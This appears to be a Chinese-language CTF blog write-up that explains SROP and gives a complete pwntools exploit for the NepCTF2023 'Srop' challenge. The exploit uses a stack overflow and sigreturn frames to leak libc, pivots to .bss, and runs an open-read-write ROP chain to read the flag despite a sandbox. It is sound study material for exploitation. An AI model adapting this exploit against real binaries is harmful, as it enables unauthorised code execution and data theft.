pwn

SROP

Posted by Sagiring on 2023-08-13
Estimated Reading Time 3 Minutes
Words 769 In Total
Viewed Times

SROP

简单介绍

SROP,即 Sigreturn Oriented Programming,正是利用了 Sigreturn 机制的弱点,来进行攻击。

在执行 sigreturn 系统调用的时候,不会对 signal 做检查

简单来说就是通过sigreturn的系统调用0xfsyscall,将所有寄存器恢复成预先设置好的样子。通过栈溢出设定,从而达成控制程序的目的。出内核态时候而sigreturn本身是用来恢复上下文的

NepCTF2023 Srop

checksec

RELRO全开 got表不能改;NX开,栈不可执行

题目给了ldlibc,设置一下

patchelf --set-interpreter ld路径 ./pwn
patchelf --replace-needed libc.so.6 libc路径 ./pwn
ldd ./pwn 

题目本身给的代码很简单

一个简单的系统调用read栈溢出

此处贴出常用系统调用

函数 调用号
read 0
write 1
open 2
rt_sigreturn 0xf
execve 59

同时注意到开了沙箱

目标就明确了 使用srop通过orw进行flag的读取

看一下syscall对准一下寄存器

贴出exp

from pwn import * 
from pwn import p64,u64


debug = 1
gdb_is = 1
# context(arch='i386',os = 'linux', log_level='DEBUG')
context(arch='amd64',os = 'linux')
if debug:
    context.terminal = ['/mnt/c/Users/sagiriking/AppData/Local/Microsoft/WindowsApps/wt.exe','nt','Ubuntu','-c']
    r = process("./pwn")
    
else:
    host = "nepctf.1cepeak.cn"
    r = connect(host,32552)#远程连接
    gdb_is =0

if gdb_is:
    # gdb.attach(r,'b* 0x00401571')
    gdb.attach(r)
    pause()
    pass



elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
pop_rdi = 0x000400813
pop_rsi_r15 = 0x000400811

bss_addr = 0x601050
base_addr = bss_addr + 0x8
syscall_addr = elf.sym['syscall']
payload= b'A'* 48 + b'junkjunk' 
syscall_got = elf.got['syscall']

#使用pwntools的SigreturnFrame()帮助构造结构体
frame_write = SigreturnFrame()
frame_write.rdi = 1
frame_write.rsi = 1
frame_write.rdx = syscall_got #泄露libc地址
frame_write.rcx = 0x8
frame_write.rip = syscall_addr 
frame_write.rsp = base_addr + 0xF0 + 0x8 * 4 #一个SigreturnFrame()大小0xF0 控制栈顶

frame_read_data = SigreturnFrame()
frame_read_data.rdi = 0 #由于syscall之前对寄存器做了移位,所以不是rax
frame_read_data.rsi = 0
frame_read_data.rdx = bss_addr
frame_read_data.rcx = 0x228
frame_read_data.rsp = base_addr #由于不知道栈的地址,将其迁移到bss段进行控制
frame_read_data.rip = syscall_addr #直接调用syscall运行设置的函数


payload +=  p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data) 
r.send(payload)
time.sleep(1)

#----------------------------------------

frame_read_data = SigreturnFrame()
frame_read_data.rdi = 0 
frame_read_data.rsi = 0
frame_read_data.rdx = bss_addr
frame_read_data.rcx = 0x8 * 30
frame_read_data.rsp = base_addr  - 0x8
frame_read_data.rip = syscall_addr

payload_read = p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data) 

payload = p64(0) + p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_write) + payload_read
r.send(payload)
#泄露libc地址
#----------------------------------------
libc_syscall_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc.address =  libc_syscall_addr - libc.sym['syscall']
info(f'libc_syscall_addr = {hex(libc_syscall_addr)}')
info(f'system = {hex(libc.sym["system"])}')

pop_rsi = 0x00023a6a + libc.address
pop_rdx = 0x000001b96 + libc.address
syscall_addr = 0x0011B537 + libc.address #此处将syscall的移位去掉了
pop_rax = 0x001b500  + libc.address

time.sleep(1)
#ORW
payload = p64(pop_rdi) + p64(bss_addr + 0x8 * 25) + p64(pop_rsi) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_addr)
#0x00601009找的data段的地址
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40)  + p64(pop_rax) + p64(0) + p64(syscall_addr)

payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(1) + p64(syscall_addr)
payload += b'flag'.ljust(8, b'\x00') 
#bss_addr + 0x8 * 25 是flag的位置
r.send(payload)
r.interactive()

srop控制后泄露libc地址,再使用orw打印出flag

泄露libc目的:

泄露libc后可利用的rop gadget更多了,方便orw